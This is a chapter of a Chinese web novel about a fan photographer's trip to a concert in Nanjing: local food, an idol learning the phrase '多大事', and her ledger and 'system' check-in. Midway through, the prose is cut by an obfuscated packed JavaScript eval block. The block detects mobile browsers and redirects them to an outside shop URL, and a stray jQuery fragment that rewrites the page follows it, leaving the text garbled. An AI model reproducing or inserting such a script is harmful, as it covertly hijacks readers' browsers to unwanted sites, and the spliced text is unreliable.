三月十八号，广州飞南京。
机票是提前十天订的特价，往返七百六。她在值机柜台前把登机牌捏了捏，深呼吸——这回不是红眼，不用在候机厅的椅子上蜷一晚。
出了禄口机场，地铁S1转1号线，再转10号线，一路坐到奥体中心。她算过，九块。
出地铁口，一眼就看见了金陵旧梦。
金丝眼镜，马尾，手里举着一张A4纸，举得笔直，上面用马克笔写着五个大字：接：梨花带雨。
旁边路过的大爷放慢脚步，把五个字念出了声，念完还四下看了看，大概在找哪位梨花带雨。
江梨初把帽檐往下压了压，快步走过去："你干嘛啊，这么多人的。"
"接机要有接机的仪式感。"金陵旧梦把纸一卷，塞进包里，"昨晚描了两遍，马克笔没水了，我下楼新买了一支。"
鸭血粉丝汤，离奥体两条街的一家老店，十三块一碗。
老板娘嗓门大，舀汤的手快得看不清，最后一勺汤浇下去，头也不抬地问："阿要辣油啊？"
江梨初愣了一下。
"阿要辣油啊？"老板娘又问了一遍。
"要。"她说，"多放点。"
老板娘难得抬头看她一眼："外地小姑娘，会吃。"
被夸了，她美滋滋地端着碗找位置坐下。
鸭血切得方方正正，嫩得像豆腐，又比豆腐紧实，筷子夹起来颤，进了嘴一抿就散。鸭肠是脆的，咬下去咯吱一声。粉丝滑，汤是鸭架子吊出来的，鲜味沉在碗底，辣油一浇，红油在汤面上散开一朵，香菜撒在最上头。
她吃得额头冒汗。
"南京人一年吃一亿只鸭子。"金陵旧梦在对面啃锅巴，语气平静，"一亿只，你算算这得多少鸭血。"
"别算了。"江梨初说，"我职业病，你真让我算我能算到机场。"
话是这么说，其实她已经算完了。一天二十七万多只，一分钟不到两百只，南京的鸭子就没有一只活过中午的。
她刚要汇报成果，一抬头撞上旧梦的眼神，把数字咽了回去。
"算完了？"
"……没有。"
"你这个人，"金陵旧梦摇头，"追星真是屈才了。"
"那就别算。"金陵旧梦把账单按住，"到我家门口了，这顿我请。"
江梨初拗不过她。掏出账本，在"南京行"那页写：
鸭血粉丝汤，0（她请的）。
写完自己看了一眼，这是第二行不是数字的账，第一行在首尔，一杯二十二块的美式。
下午去金陵旧梦的店里坐了坐。
住宅楼里的一居室，一面墙全是货架。应援手幅、皇冠灯、扇子，按团和成员分好类，快递单打了一沓。电脑屏幕的边角上贴着一张便利贴，字迹稚嫩：
"表姐：多考两分，共勉。"
"还贴着呢。"江梨初指了指。
"她考完贴给我的。"金陵旧梦推了推眼镜，"她说我俩共勉，她一个高三的，跟我一个开淘宝的共勉。"
"那你不勉吗？"
"我勉啊。"金陵旧梦指着墙上，"看见没。"
墙上贴着一张打印出来的照片。上海场，"如果要分手，请和我交往吧"那张，前半秒的安静，半张脸暗半张脸亮。照片底下有一行手写小字：本店镇店之宝，作者我朋友。
江梨初盯着那行字看了两秒，耳朵有点热。
"这也能贴出来？"
"多大事。"金陵旧梦头也不抬地打包快递，"水印我看得很清楚。"
店里还挂着一个小白板，写着这一周的发货排期，字排得整整齐齐，一看就是理科生的字。江梨初忽然想起周睿文章里那句"认识的另一位站姐，月销三百单，把追星做成了事业"——写的就是眼前这个人。旧梦当时看完文章就回了三个字：写得对。
打包胶带撕得刺啦响，旧梦一边缠一边说："今晚这两个链接发完，明天就得去进货。你明天看演出，我明天看仓库，扯平。"
"没扯平。"江梨初说，"你明天坐正中间。"
晚饭吃盐水鸭，半只，二十一。
皮是白的，肉是嫩的，骨头缝里透着一线微红。夹一块蘸蘸卤，咸鲜先到，嚼两下，一丝丝甜从后面追上来。旧梦说这鸭子讲究"熟盐搓、老卤复、吊得干"，她一个字没听懂，但鸭子懂她，她吃了小半只。
"明天你还拍照？"旧梦问。
"拍。"
"那我明天还坐看台。"旧梦咬着鸭腿骨，"上回在上海坐了一场，上瘾了。这回在我家门口，我得坐个正中间。"
她顿了顿。
"相机我不带。带了相机，跟上班有什么区别。"
三月十九号，晚上七点，南京奥体中心体育馆。
媒体区还是老位置，内场侧面第一排。她提前四十分钟到场，插座、逃生通道、洗手间，一处一处看过去。旁边《现代快报》的记者小姑娘冲她笑："又见面了。"
"又见面了。"
灯一暗，皇冠灯亮起来，一片一片，把整个馆染成黄色的海。
前半场六首歌，她拍得顺手。到第三首的时候她忽然意识到一件事：这是她第九次在现场听《Bang Bang Bang》了。九次。第一年在广州，她举着手机手抖成筛子；现在她的快门跟得上鼓点。
时间这个东西，账本记得比她清楚。
中场换装的间隙，场馆放VCR。去年巡演的混剪，广州、北京、上海，一站一站闪过去。放到九月的杭州，画面里全是雨。她听见周围的尖叫低下去了一拍——那一晚的图，这个馆里一半的人都刷到过。
她盯着屏幕，手里的相机没举。
那场雨她拍过一遍了，用眼睛又拍过一遍了。
VCR里没有字幕，没有站姐的名字，挺好。
游戏环节，翻译照例教他学本地话。
第一句是"阿要辣油啊"。
翻译一个字一个字教，他跟着念："啊要——拉油啊。"
全场上万人齐声纠正："阿——要——辣油——啊！"
一万人，当他一个人的语文老师。
他又念："阿要拉油啊。"
还是"拉"。纠正，再念，还是"拉"。到第四遍，那个"辣"字在他嘴里就是不肯出世。他念完自己先笑了，用韩语跟翻译嘀咕了一句什么，翻译憋着笑转述："他说，他怀疑这个字不存在。"
全场大笑。
她也在笑，笑到一半想起媒体区的规矩，硬生生把后半截咽回去，变成一声咳嗽。
旁边《现代快报》的小姑娘扭头看她。她咳得更凶了，摆手，意思是没事。
翻译换了第二句："多大事啊。"
他歪头听了听。就听了一遍。
"多大事啊。"
声调不高不低，尾音往下一收，字正腔圆。
全场静了半秒，紧接着炸了。
他自己也愣了半拍，随即反应过来说对了，眉毛一挑，拿着话筒又说了一遍——这回是冲翻译说的，说完还看他，意思是：看见没。
翻译在旁边鼓掌。
江梨初在媒体区，快门按了一半，愣是停住了。嘴先不听指挥了，"多——"半个字都冲出去了，被她自己一巴掌按回嘴里。
规矩第三条，不喊。
旁边的小姑娘肩膀抖个没完，也不知道是笑台上的，还是笑她的。
因为看台正中间，有一片区域的尖叫跟别处不一样。别的区域是"啊啊啊"，那片区域是——"他说了！他说了！真的是这句！！"
金陵旧梦的方向。
那句"多大事"，是旧梦的口头禅。一天说八百遍，"多大事"是她的标点符号。上回抢不到票是"多大事"，店被差评是"多大事"，连共勉的便利贴底下压着的都是这两个字。
而他在台上，一字一顿，说给了整座南京。
接下来的整晚，"多大事"成了他的万能回复。主持人问他累不累，他说"多大事"。粉丝喊他名字，他回"多大事啊"。惩罚环节他赢了，冲输了的胜利摊手，用南京话说："多大事。"
胜利抄起话筒用中文喊："你欺负人！"
全场笑倒。
这些她全拍到了，手没抖——她以为会抖的，毕竟是第九次了，手稳是应该的。
变化出在最后。
安可结束，五个人挨个鞠躬退场。他走在最后一个，退到台口，站住了。
没走。
他转过身，面朝观众席，就那么站着。灯光已经开始收了，追光还留了半束在他身上。他仰着头，像在看什么，又像什么都没看——从左边的看台，慢慢扫到右边。
扫过媒体区的时候，慢了那么一点。
不长，也就几秒。
快门响了，不是她按的，她旁边的小姑娘按的。她的手放在快门上，没动。她不知道为什么没动，就是觉得，这几秒不该装进取景器里。
他看完，冲台下挥挥手，走了。
灯全暗下来的时候，全场的掌声还没停。
散场，人流往外涌。她在媒体通道口给金陵旧梦发消息：出去了吗。
语音电话秒进来，那边的嗓门几乎掀了她的耳膜：
"你听到了吧？！多大事！他说多大事！我在正中间我听得清清楚楚！"
"听到了。"
"我拍视频了！我拍了视频我发出来了——"旧梦在那边喘气，声音忽然有点不对，"梨花儿，我跟你说句话。"
"嗯。"
"我追了四年。"旧梦说，"前三年都在取景器里看他。上个月在上海，我第一次坐着看。今天在我家门口，他说了我说了四年的三个字。"
她停了一下。
"我这眼泪，多大事啊。"
江梨初站在通道口没动，人流从身边过去，一拨，又一拨。
"旧梦。"她说，"你这条视频要火。"
"火就火呗，多大事。"
火得比她说的还快。
十一点回到青旅，旧梦那条视频转发已经破万。十五秒，就一句"多大事啊"，加上她配的字：
"他在我家门口，说了一句我说了四年的话。多大事啊（哭）。"
评论区最高赞："这句的语气比翻译教的原版还地道，谁懂，南京人认证。"第二高赞："建议查一下他到底跟谁学的，这个'事'字收音绝了。"</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936232|213721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
底下有人回："跟翻译学的呗。"
再底下："那翻译也是南京人吧，不然教不出这个味儿。"
然后有粉丝顺藤摸瓜，摸到了旧梦的淘宝店。店铺后台的订单提醒响了一夜，皇冠灯和手幅卖空了两个链接。
旧梦半夜两点给她发微信："完了，进货的钱都得重新算。多大事，多大事，这回真的多大事了。"
后面跟一个戴眼镜的表情。
论坛上，老熟人们又聚齐了。
【爆】南京场方言更新：阿要辣油×0，多大事×10086
1L【不吃香菜】：盘点一下：上海侬好，深圳我想你们，郑州我想恁，南京多大事。这位是要集齐方言召唤神龙吗
2L【一颗草莓糖】：阿要辣油念了四遍全是拉油！我在现场笑到旁边的姐妹以为我出事了！
3L【参数党老王】：说个参数。"多大事"那个收音，尾音下压干净利落，是听一遍就能复现的类型。这种人学语言是碾压型的，可惜他遇上的第一句是阿要辣油
4L【追星不花钱】：老王你连人家舌头都要分析
5L【参数党老王】：科学追星
6L【一颗草莓糖】：没人提那个视频吗？"他在我家家门口说了一句我说了四年的话"，没有配乐，就一句，我哭到室友给我倒水
7L【追星不花钱】：哭什么，下一站长沙。坐等"恰饭了啵"，我先笑为敬
8L【不吃香菜】：楼里长沙的姐妹已经开始教发音了，楼歪了，歪去上语文课了
她看到7L，笑了一下。长沙，恰饭了啵。那个梗的来历，她比谁都清楚——口味虾玩偶，站姐区的哄笑，还有她自己那条配文：不是神图，但人是活的。
第二天一早，旧梦拖着她去吃了汤包。
一笼八个，皮薄得透出里面的汤汁在晃。旧梦教她口诀："轻轻提，慢慢移，先开窗，后喝汤。"她把口诀背得滚瓜烂熟，第一个还是烫了舌头——轻轻提慢慢移都做到了，开窗开大了。
旧梦递过来一杯凉茶，见怪不怪："都这样。口诀是南京人的，舌头是外地人的。"
第二个就顺了，汤是烫的，鲜的，一股热气从嘴里冒出来。蘸姜丝香醋，一口一个，八个下肚，意犹未尽。
"再要一笼？"
"不了。"她摸摸肚子，"留着肚子赶飞机。"
旧梦送她到机场，塞给她一个真空包装袋："盐水鸭，半只。回去给你室友。"
"钱——"
"再说钱我翻脸了啊。"
江梨初把鸭子抱在怀里，在安检口回头。旧梦冲她挥挥手，金丝眼镜后面的眼睛还是有点肿。
"下个月长沙！"旧梦喊，"到时候见！"
"到时候见。"
排安检的队，快轮到她了。她回头，冲栏杆外喊了一句："旧梦，多大事！"
尾音翘上了天，四个字没有一个在调上。
金陵旧梦在栏杆外面看了她三秒，默默掏出手机，对着她录了一段。
"你录什么呢！"
"留着。"旧梦收起手机，推了推眼镜，"人家听一遍就会。你听了四年，就这水平。"
"……"
"进去了进去了，别耽误飞机。"
候机的时候，她先给林叙发了张照片：真空袋里的半只盐水鸭。
"南京特产。"
林叙回得很快："南京特产是鸭子？"
"南京特产是鸭子，一年一亿只。"
那边隔了十秒："这个数据一听就是你现算的。"
她没理他，把账结了。
南京行：机票往返760，住宿240，吃饭126，地铁公交32，杂项20。合计1,178。
旧梦请的两顿，鸭子，汤包，记不进账。她在那页最底下写了一行小字：南京的账，记不全。
签到金：4,613+600?1,178=5,035。
周睿的微信是昨晚十点来的："南京场出图，老规矩。"她回了个"好"。图费应收累计2,400，月底一起到账。
早上出门前签了到。
【签到第275天。距新周期90天。奖励内容保密。】
底下那行，她看了很久：
【昨日21:33检测到心动峰值，持续五秒。备注：现场。】
五秒。现场的五秒。
上海那次，现场，不足一秒——快门那一下。深圳那次，现场，四秒——他问"这张照片是谁拍的"。
这一次，五秒。21:33。她翻了翻自己的拍摄记录，21:33，安可刚结束，灯还没全暗。
是他站在台口，转过身，慢慢扫过观众席的那几秒。
她以前问过系统：你监测的到底是什么。系统没答。现在它开始加备注了。备注"现场"——它开始给心动分地方了。它分得清，哪一秒是在人堆里炸开的，哪一秒是深夜里一个人发呆出来的。
飞机开始登机了。
她收起手机，抱好那半只盐水鸭，跟着队伍往前走。
走出两步，她低头看了一眼怀里的袋子。
南京的账，记不全。有些账，本来就记不全。